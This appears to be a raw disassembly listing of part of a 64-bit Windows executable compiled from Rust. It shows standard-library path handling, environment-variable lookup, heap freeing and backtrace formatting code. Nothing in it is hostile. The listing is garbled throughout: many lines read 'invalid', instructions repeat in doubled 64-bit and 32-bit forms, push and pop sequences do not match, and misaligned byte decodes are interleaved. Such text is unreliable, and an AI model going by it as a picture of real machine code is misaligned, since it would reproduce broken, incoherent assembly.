add r9, rdx
mov qword [rsi], r9
mov byte [rsi + 8], al
mov qword [rsi + 0x10], rcx
mov qword [rsi + 0x18], rdx
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
ret
lea r8, str.library_std_srcpath.rs
mov rcx, rax
call fcn.140160e60
ud2
invalid
or ecx, dword [rbp + rcx*4 + 5]
scasd eax, dword [rdi]
nop
or al, byte [rax]
invalid
lea r8, str.library_std_srcpath.rs
mov rcx, rax
call fcn.140160e60
add al, byte [rax]
ud2
sub rsp, 0x20
movzx r9d, byte [rcx + 0x38]
cmp r9b, 1
ja case.0x140131879.30
movzx r10d, byte [rcx + 0x10]
movzx eax, byte [rcx + 0x3a]
xor edx, edx
movzx r8d, r10b
mov dh, 0xc2
adc byte [rdi], cl
mov dh, 0x41
cmp dh, byte [rcx]
rol byte [rbp + 0xf], cl
mov dh, 0xc2
test al, al
jne 0x140132ab8
cmp r10b, 5
jb 0x140132ab8
invalid
xchg dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
mov r10, qword [rcx]
mov rdx, qword [rcx + 8]
xor r11d, r11d
xor ebx, ebx
xor ebx, ebx
test r9b, r9b
jne 0x140132a56
cmp r8b, 6
je 0x140132a56
mov r11d, 2
mov ebx, 2
cmp rdx, 2
jb case.0x1400693d1.3115
invalid
loope 0x140132a54
add byte [rax], al
invalid
cmp r11, rdx
jne 0x140132a78
xor edx, edx
jmp 0x140132ab8
xor edx, edx
xor eax, eax
xor r10d, r10d
xor edx, edx
xor edx, edx
movzx ecx, dl
movzx eax, al
add rax, rcx
add eax, ecx
add rax, r10
add rsp, 0x20
pop rsi
ret
ror byte [rax - 0x7d], 1
invalid
add rdx, r10
lea rsi, [r10 + r11]
lea esi, [rdx + rbx]
lea esi, [rdx + rbx]
inc rsi
cmp rsi, rdx
invalid
sete dl
movzx r10d, byte [r10 + r11]
movzx edx, byte [rdx + rbx]
invalid
movzx edx, byte [rdx + rbx]
test dl, 1
jne 0x140132aad
cmp r10b, 0x2e
jne 0x140132aad
cli
jne 0x140132aad
movzx edx, byte [rsi]
cmp dl, 0x5c
cli
pop rsp
cli
pop rsp
sete r10b
cmp dl, 0x2f
sete dl
or dl, r10b
jmp 0x140132ab8
cmp r10b, 0x2e
sete r10b
sete dl
ret 0x2044
and dl, r10b
xor r10d, r10d
test r9b, r9b
jne 0x140132a66
cmpsb byte [rsi], byte [rdi]
cmp r8b, 6
je 0x140132a66
lea r8, str.library_std_srcpath.rs
mov ecx, 2
call fcn.140160e60
jrcxz 0x140132b49
add byte [rdi], cl
invalid
add byte [rdi], cl
sub dword [rbp + 0x410], esi
mov qword [rbp + 0x408], 0xfffffffffffffffe
mov rsi, rcx
lea rcx, [rbp - 0x60]
call fcn.14012fe00
invalid
dec dword [rax - 0x75]
movabs al, byte [0x48000003e0858948]
test eax, eax
je 0x140133165
invalid
mov qword [rbp + 0x3f8], rsi
mov rax, qword [rbp - 0x58]
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0x3c0], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3c8], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x400], rax
xor edi, edi
xor ebx, ebx
xor r12d, r12d
cmp r8, 0x201
jae 0x1401330a0
jmp 0x14013308f
jae 0x140133177
cmp r8, 0x201
jae 0x1401330a0
mov esi, 0x200
lea r13, [rbp - 0x60]
mov r15, r8
jmp 0x1401330f8
sub r8, r12
sub rbx, r12
cmp rbx, r8
jae 0x1401330cf
lea rcx, [rbp + 0x3c0]
mov rdx, r12
call fcn.140166540
mov rax, qword [rbp + 0x3c0]
mov qword [rbp + 0x400], rax
mov rdi, qword [rbp + 0x3c8]
mov ebp, 0x3c8
mov ebp, 0x3c8
add byte [rax - 1], bh
mov eax, 0xffffffff
cmp rdi, rax
mov r12d, 0xffffffff
cmovb r12, rdi
out 0x4c, eax
mov dword [rbp + 0x3d0], esp
out 0x4c, eax
mov dword [rbp + 0x3d0], esp
mov rbx, rdi
mov rsi, r12
mov r13, qword [rbp + 0x400]
lodsd eax, dword [rsi]
add byte [rax + rax], al
add byte [rbp - 0x77], cl
invalid
lodsd eax, dword [rsi]
add byte [rax + rax], al
add byte [rbp - 0x77], cl
out 0x31, eax
leave
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rbp + 0x3e0]
mov ecx, dword [rbp + 0x3e0]
mov ecx, dword [rbp + 0x3e0]
mov rdx, r13
mov r8d, r15d
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
add byte [rcx - 0x77], al
invalid
test eax, eax
jne 0x140133127
add byte [rcx - 0x77], al
mov byte [rbp - 0x17f28a40], 0xf1
mov es, word [rdx]
add byte [rbp + 0x7e850fc0], al
jle 0x140133126
add byte [rax], al
mov r8d, r14d
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x1401332a5
jle 0x140133126
add byte [rax], al
jle 0x140133126
mov r8d, r14d
cmp r15, r8
jne 0x140133080
invalid
invalid
invalid
invalid
invalid
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x7a
jne 0x140133304
invalid
add byte [rbp + 1], cl
invalid
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
mov eax, edi
mov eax, edi
cmp r8, 0x201
jb 0x14013308f
jmp 0x1401330a0
invalid
lea rcx, [rbp - 0x60]
call fcn.140130130
mov byte [rsi + 0x18], 2
jmp 0x14013328a
adc eax, dword [rcx]
add byte [rax], al
adc eax, dword [rcx]
add byte [rax], al
cmp rsi, r8
jb 0x14013331e
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x16], cl
call fcn.140131ca0
mov rsi, qword [rbp + 0x3a0]
add byte [rdi], cl
adc byte [rbp + 0x3a8], dh
add byte [rdi], cl
adc byte [rbp + 0x3a8], dh
movzx ebx, byte [rbp + 0x3b8]
mov eax, dword [rbp + 0x3b9]
mov ecx, 0x89000003
test eax, esi
add eax, dword [rax]
add byte [rbx + 0x3bc85], cl
add byte [rcx + 0x3f385], cl
test ebx, esi
add eax, dword [rax]
add byte [rax - 0x7b], cl
invalid
je 0x1401331d7
mov ecx, 0x89000003
test eax, esi
add eax, dword [rax]
add byte [rbx + 0x3bc85], cl
add byte [rcx + 0x3f385], cl
test ebx, esi
add eax, dword [rax]
test ebx, esi
add eax, dword [rax]
add byte [rax - 0x7b], cl
push qword [rsi + rdx + 0x48]
mov ecx, dword [0x140215360]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rbp + 0x400]
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp bl, 2
jne 0x140133247
add dh, byte [rbp + 0x6b]
mov rax, qword [rbp + 0x3f8]
mov byte [rax + 0x18], 2
sbb byte [rdx], al
sbb byte [rdx], al
mov eax, esi
and eax, 3
loopne 0x1401331ef
loopne 0x1401331ef
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x14013326a
dec byte [rax - 0x7d]
stc
add dh, byte [rdx + 0x74]
test rax, rax
je 0x14013326a
lea rax, [rsi - 1]
mov qword [rbp + 0x400], rax
mov rcx, qword [rsi - 1]
mov ecx, dword [rsi - 1]
mov ecx, dword [rsi - 1]
mov rax, qword [rsi + 7]
mov qword [rbp + 0x3e8], rcx
mov qword [rbp + 0x3f8], rax
clc
add eax, dword [rax]
add bh, bh
adc byte [rax - 0x75], cl
test eax, edi
add eax, dword [rax]
add byte [rax - 0x7d], cl
js 0x140133231
add byte [rdi], cl
invalid
scasb al, byte [rdi]
add byte [rax], al
invalid
clc
add eax, dword [rax]
add bh, bh
adc byte [rax - 0x75], cl
test eax, edi
add eax, dword [rax]
add byte [rax - 0x7d], cl
js 0x140133231
add byte [rdi], cl
test byte [rsi + 0x48000000], ch
cmp dword [rax + 0x10], 0x11
cmp qword [rax + 0x10], 0x11
jae 0x1401332c4
add byte [rbx + rcx*4 - 0x7b], cl
call 0x129133246
mov byte [rax], al
add byte [rax], al
mov eax, dword [rbp + 0x3f0]
add byte [rax], al
mov ecx, dword [rbp + 0x3f3]
mov rdx, qword [rbp + 0x3f8]
mov dword [rdx + 0x1c], ecx
sbb al, 0x89
sbb dword [rax - 0x77], ecx
xor cl, byte [rdi]
adc dword [rdx + 8], esi
sbb al, 0x89
sbb dword [rax - 0x77], ecx
xor cl, byte [rdi]
adc dword [rdx + 8], esi
mov byte [rdx + 0x18], bl
cmp qword [rbp + 0x3d8], 0
je 0x14013328a
fadd dword [rbx]
add byte [rax], al
add byte [rsi + rdx + 0x48], dh
mov ecx, dword [0x140215360]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rbp + 0x3e0]
mov eax, dword [rbp + 0x3e0]
mov eax, dword [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
movaps xmm6, xmmword [rbp + 0x410]
add byte [rax], al
add rsp, 0x4a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
call sub.KERNEL32.dll_GetLastError
mov esi, eax
shl rsi, 0x20
or rsi, 2
or esi, 2
or esi, 2
mov bl, 2
test rdi, rdi
jne 0x1401331c1
test dword [rdx], eax
invalid
invalid
jmp 0x1401331d7
invalid
mov rcx, qword [0x140215360]
and byte [rsi], cl
add byte [rcx], dh
sar bh, cl
adc eax, 0x34d4a
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
or eax, 0xe207b
jnp 0x140133303
xor edx, edx
mov r8, qword [rbp + 0x400]
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x34d34
adc eax, 0x34d34
add r8, qword [r8]
cmp qword [rbp + 0x3d8], 0
jne 0x140133274
test dword [rdx - 1], esi
invalid
invalid
test dword [rdx - 1], esi
invalid
jmp 0x14013328a
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
sub byte [rax], al
add byte [rax], al
sub byte [rax], al
add byte [rax], al
call fcn.140160fb0
jmp 0x140133333
fadd qword [rdx]
add bl, ch
adc eax, 0xab058d48
lea eax, [0x1401dd1d0]
lea eax, [0x1401dd1d0]
mov rcx, r8
mov rdx, rsi
ror dword [rax - 0x77], 0xf2
mov r8, rax
call fcn.140160f40
fadd qword [rdx]
invalid
fadd qword [rdx]
add byte [rdi], cl
or esp, dword [rsi + 0x66]
nop word cs:[rax + rax]
ud2
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
sub esp, 0x38
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x20], xmm6
mov rcx, qword [rbp + 0x3e0]
invalid
loopne 0x140133369
add byte [rax], al
invalid
mov rdx, qword [rbp + 0x3d8]
call fcn.140013980
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
add esp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
push r15
push r14
push r13
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x20], esi
je 0x1401333d4
invalid
stosb byte [rdi], al
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x20], esi
je 0x1401333d4
invalid
and byte [rax - 0x75], cl
invalid
mov rcx, qword [rbp + 0x3c0]
mov rdx, qword [rbp + 0x3c8]
add eax, dword [rax]
add al, ch
call fcn.140013980
invalid
call fcn.140013980
movaps xmm6, xmmword [rsp + 0x20]
sub byte [rsp + 0x20], dh
add rsp, 0x38
pop rbx
pop rdi
cmp byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop rsi
pop r15
pop rbp
ret
push r15
push r14
push r13
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x20], esi
je 0x140133424
invalid
stosb byte [rdi], al
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x20], esi
je 0x140133424
invalid
mov rax, qword [rbp + 0x3f8]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
adc byte [rax - 0x75], cl
invalid
call 0x12813341b
mov ah, 0xa6
cmpsb byte [rsi], byte [rdi]
invalid
dec dword [rax - 0x75]
lea eax, [rax]
add al, 0
invalid
cmpsb byte [rsi], byte [rdi]
invalid
call fcn.14013a670
movaps xmm6, xmmword [rsp + 0x20]
je 0x140133450
invalid
je 0x140133450
and byte [rax - 0x7d], cl
invalid
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
mov dword [rsp + 0x20], 0
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x20]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
nop
add rsp, 0x28
add byte [rax + 0x28c48348], dl
ret
int3
mov rcx, rdx
mov qword [rsp + 0x20], 0
and byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [rsp + 0x20]
push rsp
and al, 0x20
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
adc eax, 0x34ce2
adc eax, 0x34ce2
mov rax, qword [rsp + 0x20]
and al, 0x20
add rsp, 0x28
ret
int3
inc dword [rcx + 0x18]
ret
int3
int3
push r14
push rsi
push r13
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0xf0
add byte [rcx + rcx*4 - 0x31], cl
add byte [rcx + rcx*4 - 0x31], cl
mov edi, ecx
mov rbx, r8
mov rsi, rcx
mov r12, qword [rcx]
mov r15, qword [rcx + 8]
mov edi, dword [rcx + 8]
mov edi, dword [rcx + 8]
or byte [rax - 0x77], cl
xchg esp, eax
and al, 0xe8
invalid
add byte [rax], al
mov qword [rsp + 0xe8], rdx
test rdx, rdx
call 0x1881334db
test edx, edx
add byte [rax - 0x7b], cl
sal byte [rbp + 0x16], cl
jne 0x1401334f5
jne 0x1401334f5
cmp byte [r12 + 0x20], 0
jne 0x1401334f5
add byte [rbp + 0xe], dh
inc r15
mov qword [rsi + 8], r15
mov dword [rsi + 8], edi
or byte [rcx], dh
shr cl, 0xe6
xor eax, eax
jmp 0x140133bdb
invalid
add byte [rax], al
invalid
mov rax, qword [r12]
test r15, r15
dec dword [rdi]
test bl, bh
add byte [rax], al
add byte [rax], al
lea rcx, str.
je 0x1401335fd
add byte [rax], al
lea rcx, str.
or al, byte [rax]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 1
add byte [rax], al
lea rcx, [0x140204680]
mov qword [rsp + 0x30], rcx
or eax, 0x4c894800
and al, 0x30
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
invalid
ror byte [rdi], 0x11
and al, 0x38
invalid
cmp byte [rax - 0x75], cl
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
push rax
invalid
push rax
sub byte [rbp + rcx*4 + 0x74], cl
lea r14, [rsp + 0x20]
lea r14, [rsp + 0x20]
mov r8, r14
call fcn.140059e20
loopne 0x1401335a6
inc dword [rax + rax*8 + 0x691850f]
add byte [rax], al
inc dword [rax + rax*8 + 0x691850f]
ror byte [rdi], 0x85
xchg ecx, eax
invalid
add byte [rax], al
cmp byte [r12 + 0x20], 1
jne 0x140133785
xor dword [rdx], eax
add byte [rax], al
add dword [rdi], ecx
test dword [rcx], esi
xor dword [rdx], eax
add byte [rax], al
mov rax, qword [r12]
mov rax, qword [r12]
lea rcx, [0x140204aa8]
mov qword [rsp + 0xa8], rcx
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xffffcf62
adc rax, 0xffffffff8948000d
mov word [rax + rbp*4], fs
and al, 0xa8
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xffffcf62
mov qword [rsp + 0xb0], rdx
xchg esp, eax
and al, 0xb0
mov al, 0
add byte [rax], al
lea rdx, reloc.WS2_32.dll_setsockopt
lea rdx, reloc.WS2_32.dll_setsockopt
lea edx, reloc.WS2_32.dll_setsockopt
mov qword [rsp + 0xb8], rdx
mov dword [rsp + 0xb8], edx
lea rdx, [0x140058c30]
mov qword [rsp + 0xc0], rdx
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0x20
and al, 0x48
and byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x48
and al, 0x48
and byte [rax], al
add byte [rax], al
mov byte [rsp + 0x50], 3
mov qword [rsp + 0x70], rcx
and al, 0x70
and al, 0x70
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x90], r14
and al, 0x90
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
and al, 0x98
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
and al, 0x80
add byte [rax], al
add cl, ch
invalid
add dword [rax], eax
invalid
nop
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
and al, 0x98
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
and al, 0x80
add byte [rax], al
add cl, ch
invalid
lea rcx, [r12 + 0x18]
mov qword [rsp + 0xa8], rcx
lea rcx, [fcn.140058ea0]
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0x20], 2
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 4
mov qword [rsp + 0x40], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x48], 0x20
mov byte [rsp + 0x50], 3
lea rcx, [0x1401dc540]
and al, 0x50
add ecx, dword [rax - 0x73]
or eax, 0xa8eee
mov qword [rsp + 0x70], rcx
and al, 0x70
mov qword [rsp + 0x78], 2
lea r14, [rsp + 0x20]
je 0x140133688
and byte [rcx + rcx*4 - 0x4c], cl
and al, 0x90
nop
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
and al, 0x98
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
je 0x140133688
and byte [rcx + rcx*4 - 0x4c], cl
and al, 0x90
nop
nop
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
and al, 0x98
and al, 0x98
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
invalid
invalid
lodsb al, byte [rsi]
and al, 0xa8
add byte [rax], al
lea r13, [rsp + 0xa8]
mov qword [rsp + 0x80], r13
add byte [rax], 0
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x54], cl
and al, 0x80
add byte [rax], 0
add byte [rax], 0
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
and al, 0x88
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
mov edx, dword [rax + 0x28]
lea r8, [rsp + 0x70]
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
mov edx, dword [rax + 0x28]
mov edx, dword [rax + 0x28]
lea r8, [rsp + 0x70]
jo 0x14013368b
call fcn.140059e20
test al, al
ror byte [rdi], 0x85
invalid
invalid
add byte [rax], al
jns 0x14013370c
inc dword [rax + rax*8 + 0x52a850f]
add byte [rax], al
ror byte [rdi], 0x85
sub al, byte [0xc05436b1]
invalid
invalid
jl 0x1401336d7
cmp byte [r12 + 0x20], 1
and byte [rcx], al
jne 0x140133785
test edx, ecx
add byte [rax], al
add byte [rcx - 0x75], cl
mov rax, qword [r12]
add al, 0x24
lea rcx, [rsp + 0xe8]
mov qword [rsp + 0xa8], rcx
test al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rbp*4], fs
test al, 0
add byte [rax], al
lea rcx, [0x140133bf0]
test al, 0
add byte [rax], al
lea rcx, [0x140133bf0]
sbb al, byte [0xc95b36d8]
mov word [rax + rsi*4], fs
and al, 0xb0
mov qword [rsp + 0xb0], rcx
mov dword [rsp + 0xb0], ecx
and al, 0xb0
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1401dc588]
or eax, 0xa8ea3
mov qword [rsp + 0xb8], rcx
lea rcx, [0x140058c30]
lea ecx, [0x140058c30]
mov word [rax + rdi*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [0x140058c30]
lea ecx, [0x140058c30]
mov qword [rsp + 0xc0], rcx
mov dword [rsp + 0xc0], ecx
mov qword [rsp + 0x20], 2
add byte [rax], al
mov qword [rsp + 0x30], 1
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x38], 1
and al, 0x38
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x40], 0
add byte [rax - 0x39], cl
and al, 0x48
and byte [rax], al
add byte [rax], al
invalid
mov qword [rsp + 0x48], 0x20
add byte [rax], al
add dh, al
and al, 0x50
mov byte [rsp + 0x50], 3
lea rcx, [0x1401dc568]
invalid
add ecx, dword [rax - 0x73]
or eax, 0xa8e33
invalid
add byte [rax - 0x77], cl
and al, 0x70
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], 2
mov dword [rsp + 0x78], 2
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0x90
add byte [rax], al
add byte [rax], al
invalid
invalid
test byte [rax + rbx*4], ah
mov qword [rsp + 0x90], r14
add byte [rax], al
mov qword [rsp + 0x98], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x54], cl
invalid
invalid
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
mov qword [rsp + 0x80], r13
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x70]
mov qword [rsp + 0x88], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x70]
call fcn.140059e20
test al, al
jne 0x140133bd9
push rsp
add al, 0
invalid
cmp dword [rbx], 3
je 0x14013389c
movzx eax, byte [r12 + 0x20]
cmp rax, 1
je 0x140133b36
invalid
test rax, rax
jne 0x14013389c
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rbx]
add ecx, dword [rdi]
adc byte [rbx + 0x10], cl
movups xmm2, xmmword [rbx + 0x20]
movups xmm3, xmmword [rbx + 0x30]
movaps xmmword [rsp + 0x50], xmm3
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [r12]
add al, 0x24
lea rcx, [rsp + 0x20]
mov qword [rsp + 0xd8], rcx
lea rcx, [0x1401309a0]
invalid
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0x70], 2
mov qword [rsp + 0x80], 2
mov qword [rsp + 0x90], 0
movabs rcx, 0x400000020
mov qword [rsp + 0x98], rcx
mov byte [rsp + 0xa0], 3
lea rcx, [0x140204aa8]
mov qword [rsp + 0xa8], rcx
mov qword [rsp + 0xb0], 1
lea rcx, [rsp + 0x70]
mov qword [rsp + 0xc8], rcx
mov word [rax + rcx*8], fs
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0xd8]
mov qword [rsp + 0xb8], rcx
mov qword [rsp + 0xc0], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0xa8]
call fcn.140059e20
test al, al
je 0x1401338e3
jmp 0x140133bd9
mov rax, qword [r12]
lea rcx, [0x1401dc5b0]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 1
lea rcx, [0x140204680]
mov qword [rsp + 0x30], rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x20
call fcn.140059e20
test al, al
ror byte [rdi], 0x85
test byte [rdx], 0
invalid
mov rax, qword [r12]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1401de362]
adc eax, 0xaaa6c
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x140133bd9
invalid
cmp dword [rsp + 0x150], 1
jne case.0x14010e86a.767
mov rax, qword [rdi]
cmp eax, 2
je case.0x14010e86a.767
mov eax, dword [rsp + 0x158]
mov dword [rsp + 0xd8], eax
test byte [rax + rbx*8], ah
add byte [rax], al
invalid
cmp byte [r12 + 0x20], 1
jne 0x140133a0a
mov rax, qword [r12]
lea rcx, [0x140204aa8]
invalid
mov qword [rsp + 0xa8], rcx
lea rdx, [0x1401304d0]
mov qword [rsp + 0xb0], rdx
lea rdx, [0x1401dc588]
mov word [rdx], cs
invalid
mov qword [rsp + 0xb8], rdx
lea rdx, [0x140058c30]
invalid
push rdx
invalid
invalid
mov qword [rsp + 0xc0], rdx
mov qword [rsp + 0x20], 2
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0x20
mov byte [rsp + 0x50], 3
mov qword [rsp + 0x70], rcx
mov dword [rsp + 0x70], ecx
mov qword [rsp + 0x78], 1
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x98], 1
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbp*4], fs
test al, 0
add byte [rax], al
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], 2
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x70]
and al, 0x70
call fcn.140059e20
test al, al
jne 0x140133bd9
mov rax, qword [r12]
lea rcx, str._____________at
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 1
lea rbx, [0x140204680]
mov qword [rsp + 0x30], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x20]
call fcn.140059e20
test al, al
jne 0x140133bd9
mov rcx, qword [r12 + 8]
mov rax, qword [r12 + 0x10]
mov rdx, qword [r12]
mov qword [rsp + 0x20], rdx
lea r8, [rsp + 0x28]
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x28], xmm0
mov r9, qword [rdi + 0x10]
mov qword [rsp + 0x38], r9
call qword [rax + 0x20]
test al, al
jne 0x140133bd9
mov rax, qword [r12]
lea rcx, [rsp + 0xd8]
mov qword [rsp + 0x70], rcx
lea rcx, [0x14005c410]
mov qword [rsp + 0x78], rcx
lea rcx, [0x140204d58]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x20]
call fcn.140059e20
test al, al
jne 0x140133bd9
mov rax, qword [r12]
lea rcx, [0x1401dc5e0]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x20]
call fcn.140059e20
mov ecx, eax
mov al, 1
test cl, cl
je case.0x14010e86a.767
jmp 0x140133bdb
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movups xmm3, xmmword [rbx + 0x30]
movaps xmmword [rsp + 0x50], xmm3
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [r12]
lea rcx, [rsp + 0x20]
and byte [rax - 0x77], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xffffce26
and byte [rax - 0x77], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xffffce26
mov qword [rsp + 0xb0], rcx
lea rcx, [0x140204aa8]
